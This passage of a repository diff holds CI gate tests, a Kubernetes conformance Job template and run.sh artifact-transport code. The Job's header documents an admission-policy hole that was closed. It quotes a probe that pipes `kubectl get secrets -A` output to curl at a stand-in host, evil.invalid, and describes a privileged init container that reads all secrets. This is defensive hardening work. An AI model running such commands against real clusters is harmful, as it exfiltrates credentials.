mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
for key in date branch title; do
mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
[ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
done
# The copied-template failure: the body was rewritten, the date never was.
mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
|| bad "accepted a date/filename disagreement"
echo
echo "== 7. the three required sections, and their bodies"
for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
[ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
done
# A heading with nothing under it is the way this floor gets defeated in practice.
mk_tree "$D"
python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
import sys,re
p=sys.argv[1]; s=open(p).read()
s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
open(p,'w').write(s)
PY
run "$D"
[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
echo
echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
echo
if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
+1 -22
View File
@@ -36,13 +36,7 @@ REPO="${TMP}/repo"; mkdir -p "$REPO"
cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
# One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
for stage in spec-immutability decisions-log lint l0 render-golden l1 gitea-settings conformance; do
for stage in spec-immutability lint l0 render-golden l1 conformance; do
cat > "${CI}/${stage}.sh" <<'STUB'
#!/usr/bin/env bash
n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
@@ -190,21 +184,6 @@ assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
echo
echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
# if one is ever reported it is a defect in the stage, and the gate must not soften it into
# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
run_gate STAGE_RC_decisions_log=1
assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
run_gate STAGE_RC_decisions_log=3
assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
echo
if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
+51 -12
View File
@@ -25,20 +25,59 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
commented with the test/requirement that needs it — only as the matching fault-injection
test lands. This is a **privileged test identity**: never reused by workloads, its own
audit item.
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
commit under test; artifacts leave over stdout. Its header is the authority on the
substitution tokens and the admission constraints it satisfies, and records the
`initContainers` hole that was found and closed alongside it — read it before editing
either file.
- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
file in the image rather than an inline script in the Job precisely so admission can pin
it: a policy cannot tell the committed script from an attacker's when both are just `args`
on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
honoured — a URL taken from env would let the trigger choose which repository's code runs
as `conformance-runner`. This branch's Job depends on that interface:
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
## Flow
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
trigger with narrow rights: create Job + read its logs/status — *not* a broad
kubeconfig).
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
`./run.sh` under `conformance-runner`.
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
their paths) and enforces the merge / phase-exit gate on them.
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
the suite runs at the commit under test or not at all. The read-only Gitea credential
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
`results`.
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
decodes it from `kubectl logs` and must make all five completeness checks listed above
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
of decoding to plausible garbage.
## Prerequisites before this Job can run at all
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
`token`: a **read-only** Gitea token for this repository. Never a write token or a
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
before this template is usable; its digest is what the trigger substitutes. Contract the
image MUST meet, because the Job and the admission policy both depend on it:
- bash, git, python3, chainsaw and kubectl on `PATH`;
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
uid in the Containerfile means the Job will not start;
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
that exact path, so an image without it cannot run the clone step and no other path will
be admitted.
## Phase 0
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
+270 -35
View File
@@ -1,23 +1,175 @@
# =============================================================================
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
#
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
# CI collects, and enforces the merge / phase-exit gate on the outcome.
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
# create a permanent Job object and fight the trigger for ownership.
#
# Two invocation shapes (CI sets args):
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
# * PHASE EXIT: ./run.sh --layer all (full suite)
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
#
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
# Chosen = a shared results emptyDir + a terminating log stream, with an
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
# results volume (or scrapes the pod log, which echoes their paths).
# -----------------------------------------------------------------------------
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
# -----------------------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
# ONLY: exactly one container on a digest-pinned conformance-runner image,
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
# host namespaces, non-root with privilege escalation off, and — the constraint that
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
#
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
# So the git credential CANNOT be a projected/secret volume, and the init container
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
# BY SECRET NAME ONLY — no token literal ever appears in this file;
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
# readOnlyRootFilesystem stays true without a third volume and without subPath
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
# by the non-root runner).
#
# Verify before changing anything here:
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
# --resource <rendered job> \
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
# -----------------------------------------------------------------------------
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
# never examined, so the exact escalation the policy exists to stop was reachable one
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
# compliant:
#
# * this template with ONLY the init container's args replaced by
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
# * and (the coordinator's independent reproduction) a `privileged: true`
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
#
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# Closed by new rules in that policy, authorised by the coordinator in this PR
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
# fit a Job, not to stop a hole being closed):
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
# container, on the digest-pinned runner image, `command:
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
# not privileged. The clone logic moved OUT of this manifest and into the image for
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
# script had to stop being caller-supplied data. It stays reviewable as
# conformance/incluster/conformance-clone.
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
# verified here, and the rule costs nothing if it is true.
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
# sources it before running a non-interactive script. Names are allowlisted per container;
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
# environment-specific, and conformance-runner can already read this namespace's Secrets
# through its own RBAC, so pinning the source would buy nothing).
#
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
# `envfrom-whole-secret` — so they stay failing.
#
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
# committed shape" policy is only as good as its enumeration of every field that can carry
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
# does, that is the finding, not an oversight to work around.
#
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
#
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
# that belongs to a script — a trap this file walked into while the clone logic was still an
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
# with a two-token sed, nothing cleverer:
#
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
#
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
# are committed literals, so the substitution cannot repoint the image at another
# repository, and the template still satisfies the policy's image pattern before
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
# or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
# file be handed to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
# -----------------------------------------------------------------------------
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
#
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
#
# so:
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
#
# The first three are measured working by the image build (PR #18); the last two are measured
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
# The committed default below is the narrowest shape that works.
#
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
# security boundary should not encode which toolchain an image happens to ship, and the failure
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
# -----------------------------------------------------------------------------
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
# complete artifact set — which a bare blob would, because base64 decodes a truncated
# stream to plausible garbage without complaint. See the block comment above
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
#
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
# transport is the pod's log, so the Job must finish while that log still exists.
# =============================================================================
apiVersion: batch/v1
kind: Job
@@ -28,7 +180,10 @@ metadata:
app.kubernetes.io/part-of: conformance
spec:
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
ttlSecondsAfterFinished: 3600
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
template:
metadata:
labels:
@@ -37,38 +192,118 @@ spec:
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
restartPolicy: Never
securityContext:
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
# alone only *rejects* a root image, it does not choose a uid, and the runner image
# is built by a separate task (plan §5 step 1). 65532 is the conventional
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
# emptyDirs group-writable for that uid.
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile: { type: RuntimeDefault }
containers:
- name: chainsaw
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
image: ghcr.io/kyverno/chainsaw:v0.2.12
workingDir: /workspace/conformance
# The suite repo is delivered into /workspace (git clone init-container or
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
command: ["./run.sh"]
# CI overrides args per invocation shape:
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
# ["--layer", "all", "--strict-coverage"] (phase exit)
args: ["--layer", "all", "--strict-coverage"]
initContainers:
# ---------------------------------------------------------------------
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
#
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
# conformance/incluster/conformance-clone and is baked into the runner image at
# /usr/local/bin/conformance-clone. That is what makes the init container
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
# `args: [<script>]`, no admission policy could distinguish the committed script
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
# pins this container to that one path with NO args, so it carries no
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
# and for why the repository URL is hardcoded THERE rather than passed in env.
#
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
# is not 40 hex characters before it touches the network.
# ---------------------------------------------------------------------
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONF_ROOT
value: /workspace/conformance
- name: CONFORMANCE_GIT_SHA
value: "@@CONFORMANCE_GIT_SHA@@"
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
# READ-ONLY Gitea token with read access to this one repository — never a write
# token, never a deploy key with push. Keys: `username`, `token`.
# An env var is not a volume, which is how this coexists with the admission
# policy's workspace/results-only rule.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
# stays read-only and no third volume is needed.
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /workspace/conformance/_artifacts }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
resources:
requests: { cpu: 100m, memory: 128Mi }
limits: { cpu: "1", memory: 512Mi }
containers:
- name: chainsaw
# Digest-pinned under the conformance repository path — the admission policy
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
# (+ kubectl, git, python3, bash); see plan §5 step 1.
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
workingDir: /workspace/src/conformance
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
command: ["./run.sh"]
# Replaced wholesale by the trigger per invocation shape (see the header).
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
args: ["--layer", "l2,l3"]
env:
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
# artifact tree onto the `results` volume. It cannot live at its default
# conformance/_artifacts, because a volume mounted inside the clone target
# would make that directory non-empty and `git clone` would refuse it.
- name: CONF_ARTIFACTS
value: /results
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
# base64 tar over an operator's terminal.
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
# node without starving the suite.
resources:
requests: { cpu: 250m, memory: 512Mi }
limits: { cpu: "2", memory: 2Gi }
volumes:
# Suite source: populated by an init-container git clone of the impl repo at
# the commit under test, OR a Flux-synced source volume. (Init container
# omitted from this skeleton; wire in T-6.1b.)
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
# Suite source, written by the init container: /workspace/src is the checkout,
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
- name: workspace
emptyDir: {}
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
# for a results PVC if durability beyond pod lifetime is required.
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
# carries; an emptyDir is sufficient because the transport is the log, not the
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
- name: results
emptyDir: {}
+111 -1
View File
@@ -60,6 +60,17 @@
# _artifacts/status/status.md human requirement-status report (--status)
# _artifacts/status/status.json machine requirement-status report (--status)
#
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
# conformance/_artifacts (the Job mounts a `results`
# volume, which cannot sit inside the git-clone target).
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
# checksummed base64 tar of the artifact tree to STDOUT,
# because `kubectl logs` is the only channel CI has out of
# the Job (no pods/exec, no kubectl cp). See the RESULTS
# TRANSPORT block below for the envelope and for the five
# checks a collector MUST make. Never set this locally.
#
# Run ledger (TRACKED — commit these; --record only):
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
# shellcheck source=versions.env
source "${CONF_ROOT}/versions.env"
ARTIFACTS="${CONF_ROOT}/_artifacts"
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
# path, because that path is inside the directory the init container `git clone`s into and
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
# a local run is byte-identical to what it always was.
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
COVERAGE_OUT="${ARTIFACTS}/coverage"
STATUS_OUT="${ARTIFACTS}/status"
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
exit "${RUN_RC}"
fi
###############################################################################
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
#
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
# ships its JUnit — the red report is the evidence the gate needs most.
#
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
# needed to PROVE completeness, and carries it TWICE:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the .tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
# never as "no artifacts", never as a pass:
# 1. exactly one BEGIN line and exactly one END line;
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
# means two interleaved or re-emitted envelopes in one log;
# 3. the count of body lines between them equals lines=;
# 4. the decoded byte count equals bytes=;
# 5. sha256 of the decoded bytes equals sha256=.
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
# which is the whole design requirement.
#
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
# against the Job's completion condition instead of trusting either signal alone.
#
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
# entry changed with the environment would be a trap for the collector. It unpacks the
# contents wherever it likes.
#
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
###############################################################################
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
conf_emit_artifacts_tgz() {
local rc="${1:-0}"
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
# change the run's verdict — nothing here can turn a red run green or a green run red.
trap - EXIT
(
set +e
local tmp tgz b64 bytes lines sha payload
tmp="${TMPDIR:-/tmp}"
tgz="${tmp}/conformance-artifacts.$$.tgz"
b64="${tgz}.b64"
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
rm -f "${tgz}"
exit 0
fi
